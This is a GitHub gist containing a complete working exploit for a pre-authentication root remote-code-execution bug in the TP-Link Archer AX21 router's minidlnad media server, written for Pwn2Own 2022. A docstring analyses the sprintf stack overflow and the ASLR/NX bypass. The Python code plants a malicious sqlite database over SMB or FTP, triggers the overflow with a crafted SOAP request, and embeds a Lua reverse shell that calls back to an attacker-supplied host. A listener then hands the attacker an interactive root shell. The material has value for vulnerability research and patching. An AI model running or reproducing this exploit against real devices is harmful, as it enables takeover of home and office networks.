Skip to content

Instantly share code, notes, and snippets.

@stevenseeley
Created March 23, 2023 03:29
Show Gist options
  • Select an option

  • Save stevenseeley/0822b66e375cd44ecaee3f047962db62 to your computer and use it in GitHub Desktop.

Select an option

Save stevenseeley/0822b66e375cd44ecaee3f047962db62 to your computer and use it in GitHub Desktop.
TP-Link AX1800 WiFi 6 Router (Archer AX21) minidlnad db_dir RCE Vulnerability
#!/usr/bin/env python3
import os
import sys
import socket
import struct
import urllib
import sqlite3
import requests
from ftplib import FTP
from telnetlib import Telnet
from threading import Thread
from colorama import Fore, Style
from smb.SMBHandler import SMBHandler
"""
TP-Link AX1800 WiFi 6 Router (Archer AX21) minidlnad db_dir RCE Vulnerability
Prepared for Pwn2Own Toronto 2022 by Rocco Calvi & Steven Seeley of Incite Team
## Summary
A pre-authenticated attacker on the LAN can trigger a remote code execution
against the router as the root user.
## Vulnerability Analysis
The vulnerability resides in the fact that the `files.db` file is
modifiable by remote attackers. This is due to the fact that the `db_dir`
property is set to a location that is modifiable via smb or ftp.
```
root@Archer_AX20:~# cat /tmp/minidlna.conf
# this file is generated automatically, don't edit
...
db_dir=/mnt/sda1/.TPDLNA
...
```
Due to this, several primitives can be used inside of minidlnad to read files
and or trigger a stack based-buffer overflow.
The overflow triggers from a `sprintf` call in `minidlna-1.1.2/upnpsoap.c`:
```c
ret = sqlite3_exec(db, sql, callback, (void *) &args, &zErrMsg); // 1
...
static int
callback(void *args, int argc, char **argv, char **azColName)
...
*dlna_pn = argv[20], // 2
...
if( strncmp(class, "item", 4) == 0 ) // 3
...
if( *mime == 'v' ) // 4
...
case ESonyBravia: // 5
...
strncmp(dlna_pn, "AVC_TS_HP_HD_AC3", 16) == 0)) // 6
...
sprintf(dlna_buf, "DLNA.ORG_PN=AVC_TS_HD_50_AC3%s", dlna_pn + 16); // 7
```
At [1], the `callback` method is called after an SQL query is executed against
the `details` table. Since the attacker controls the DB file, query results
are also attacker controlled at [2]. If the `class` starts with 'item' then
the attack continues at [3].
Later in the code at [4], there is a switch statement based on the mime type
stored in the database and the client user agent or HTTP header at [5]. Then
at [6], the code checks that the `dlna_pn` blog begins with the string
'AVC_TS_HP_HD_AC3' and if so, attempts to copy data to a fixed-size buffer on
the stack at [7].
This can allow an attacker to gain remote code execution if the media server is
enabled with access to the share via samba or FTP.
## Notes
- Minidlna V1.1.2 on the system, however the stack-based buffer overflow is
available in the latest version
- The exploit requires:
- pip3 install pysmb
- pip3 install requests
- Must have sqlite db file in the same directory as the exploit
## Exploitation
The system has ASLR enabled coupled with the NX bit set. Additionally sprintf()
restricts our payload to not include null bytes. This makes exploitation
difficult but not impossible. It's still possible to redirect execution to a
single instruction, as the attacker can perform a partial overwrite and retain a
null byte.
This exploit redirects execution to the following location to demonstrate RCE
capability:
```
00015ed4 06 0d 8d e2 add r0,sp,#0x180
00015ed8 cb f6 ff eb bl <EXTERNAL>::system int system(char * __command)
```
We just use the HTTP SOAP request to store our system argument on the stack so
that at offset 0x180, we have our command to run :D
## Example
```
steven@mars:~/PWN2OWN/archer/exploit$ ./tp-link_exploit.py
(+) ./tp-link_exploit.py <target> <connectback:port>
(+) eg: ./tp-link_exploit.py 192.168.1.1 192.168.1.207:1337
steven@mars:~/PWN2OWN/archer/exploit$ ./tp-link_exploit.py 192.168.1.1 192.168.1.207:1337
(+) starting handler on port 1337
(+) create create db connection...
(+) create payload...
(+) updating db...
(+) uploading files.db...
(+) triggering overflow...
(+) connection from 192.168.1.1
(+) pop thy shell!
id
uid=0(root) gid=0(root)
```
## Debugging
```
Thread 1 received signal SIGSEGV, Segmentation fault.
0x24242424 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────
$r0 : 0x0
$r1 : 0x03a7aa → 0x746c2600
$r2 : 0x0
$r3 : 0x441
$r4 : 0x41414141 ("AAAA"?)
$r5 : 0x41414141 ("AAAA"?)
$r6 : 0x41414141 ("AAAA"?)
$r7 : 0x41414141 ("AAAA"?)
$r8 : 0x41414141 ("AAAA"?)
$r9 : 0x41414141 ("AAAA"?)
$r10 : 0x41414141 ("AAAA"?)
$r11 : 0x41414141 ("AAAA"?)
$r12 : 0xd9ffc48b
$sp : 0xbecf5e48 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$lr : 0x01c3f4 → 0xea00000a ("\n"?)
$pc : 0x24242424 ("$$$$"?)
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
───────────────────────────────────────────────────────────────────────────────
0xbecf5e48│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $sp
0xbecf5e4c│+0x0004: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbecf5e50│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbecf5e54│+0x000c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbecf5e58│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbecf5e5c│+0x0014: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbecf5e60│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbecf5e64│+0x001c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
───────────────────────────────────────────────────────────────────────────────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x24242424
───────────────────────────────────────────────────────────────────────────────
[#0] Id 1, stopped 0x24242424 in ?? (), reason: SIGSEGV
[#1] Id 2, stopped 0xb6afa37c in poll (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────
(remote) gef➤
```
"""
def update_dlna_pn(conn, buffer, object_id):
cur = conn.cursor()
sql_details = """insert or replace into details( \
id, path, size, timestamp, title, duration, bitrate, samplerate, creator, \
artist, album, genre, comment, channels, disc, track, date, resolution, \
thumbnail, album_art, rotation, dlna_pn, mime) values(?, null, null, null, \
null, null, null, null, null, null, null, null, null, null, null, null, null, \
null, null, null, null, ?, 'vendetta')"""
cur.execute(sql_details, (object_id, buffer, ))
sql_objects = """insert or replace into objects( \
id, object_id, parent_id, ref_id, class, detail_id, name) values(null, ?, \
'', null, 'item.videoItem', ?, null)"""
cur.execute(sql_objects, (object_id, object_id, ))
def upload_via_smb(target, db_file):
assert os.path.isfile(db_file), "(-) faild to find the database file!"
opener = urllib.request.build_opener(SMBHandler)
opener.open(f'smb://{target}/G/.TPDLNA/{db_file}', open(f"{db_file}", 'rb')).close()
def upload_via_ftp(target, db_file):
assert os.path.isfile(db_file), "(-) faild to find the database file!"
ftp = FTP(target)
ftp.encoding = "utf-8"
ftp.login()
ftp.cwd('G/.TPDLNA')
with open(db_file, 'rb') as fp:
ftp.storbinary(f'STOR {db_file}', fp)
ftp.quit()
def build_payload():
bof = b"AVC_TS_HP_HD_AC3"
bof += b"A" * 100
bof += b"A"
bof += b"A" * 35
bof += struct.pack("I", 0x00015ed4) # PC
bof += b"A" * (250-len(bof))
return bof
def create_db_structure(conn):
create_objects = "create table if not exists objects (id integer primary \
key autoincrement, object_id text unique not null, parent_id text not \
null, ref_id text default null, class text not null, detail_id integer \
default null, name text default null)"
create_details = "create table if not exists details (id integer primary \
key autoincrement, path text default null, size integer, timestamp \
integer, title text collate nocase, duration text, bitrate integer, \
samplerate integer, creator text collate nocase, artist text collate \
nocase, album text collate nocase, genre text collate nocase, comment \
text, channels integer, disc integer, track integer, date date, \
resolution text, thumbnail bool default 0, album_art integer default 0, \
rotation integer, dlna_pn text, mime text)"
cur = conn.cursor()
cur.execute(create_objects)
cur.execute(create_details)
def content_dir_soap_request(target, object_id, rhost, rport):
url = f"http://{target}:8200/ctl/ContentDir"
h = {
'X-AV-Client-Info' : 'av=5.0; cn="Sony Corporation"; mn="BRAVIA KDL-40EX503"; mv="1.7";',
'content-type' : 'text/xml',
'SOAPACTION' : 'urn:schemas-upnp-org:service:ContentDirectory:1#BrowseContentDirectory'
}
# no need to download and execute when we can re-use lua :->
cmd = f"lua -e 'local s=require(\"socket\");local t=assert(s.tcp());t:connect(\"{rhost}\",{rport}); while true do local r,x=t:receive();local f=assert(io.popen(r,\"r\"));local b=assert(f:read(\"*a\"));t:send(b);if r==\"exit\" then break end end;t:close();'"
# don't change this, its crafted to land the command on the stack at offset 0x180
body = f"""<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" \
s:rce="{cmd}\x00" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">
<ObjectID>{object_id}</ObjectID>
<BrowseFlag>BrowseMetadata</BrowseFlag>
<Filter>*</Filirter>
</u:Browse>
</s:Body>
</s:Envelope>"""
try:
requests.post(url, data=body, headers=h)
except:
pass
def handler(lp):
print(f"(+) starting handler on port {lp}")
t = Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lp))
s.listen(1)
conn, addr = s.accept()
print(f"(+) connection from {addr[0]}")
t.sock = conn
print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
print("id;uname -a")
t.write(b"id;uname -a\r\n")
t.interact()
def main(target, rhost, rport, proto):
handlerthr = Thread(target=handler, args=[rport])
handlerthr.start()
print("(+) preparing target stack...")
c = {"sysauth":"incite"}
p = {"form":"login"}
requests.post(f"http://{target}/cgi-bin/luci/;stok=/login", cookies=c, params=p)
print("(+) creating db connection...")
conn = sqlite3.connect("files.db")
print("(+) creating db structure...")
create_db_structure(conn)
print("(+) create payload...")
bof = build_payload()
print("(+) updating db...")
update_dlna_pn(conn, bof, 31)
conn.commit()
print(f"(+) uploading the db via {proto}...")
if proto == "smb":
upload_via_smb(target, "files.db")
elif proto == "ftp":
upload_via_ftp(target, "files.db")
print(f"(+) triggering overflow...")
content_dir_soap_request(target, 31, rhost, rport)
if os.path.exists("files.db"): os.remove("files.db")
if __name__ == "__main__":
print("""---> TP-Link AX1800 WiFi 6 Router (Archer AX21) RCE Explo!t <---
By Rocco Calvi and Steven Seeley of Incite Team\r\n""")
if len(sys.argv) <= 3:
print(f"(+) {sys.argv[0]} <target> <connectback:port> <proto>")
print(f"(+) eg: {sys.argv[0]} 192.168.1.1 192.168.1.207:1337 ftp")
print(f"(+) eg: {sys.argv[0]} 192.168.1.1 192.168.1.207:1337 smb")
exit(1)
target = sys.argv[1]
rhost = sys.argv[2]
rport = 1234
proto = sys.argv[3].lower()
assert proto in ["ftp", "smb"], "(-) not a valid protocol to use!"
if ":" in sys.argv[2]:
rhost = sys.argv[2].split(":")[0]
assert sys.argv[2].split(":")[1].isnumeric(), "(-) connectback port must be a number!"
rport = int(sys.argv[2].split(":")[1])
main(target, rhost, rport, proto)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment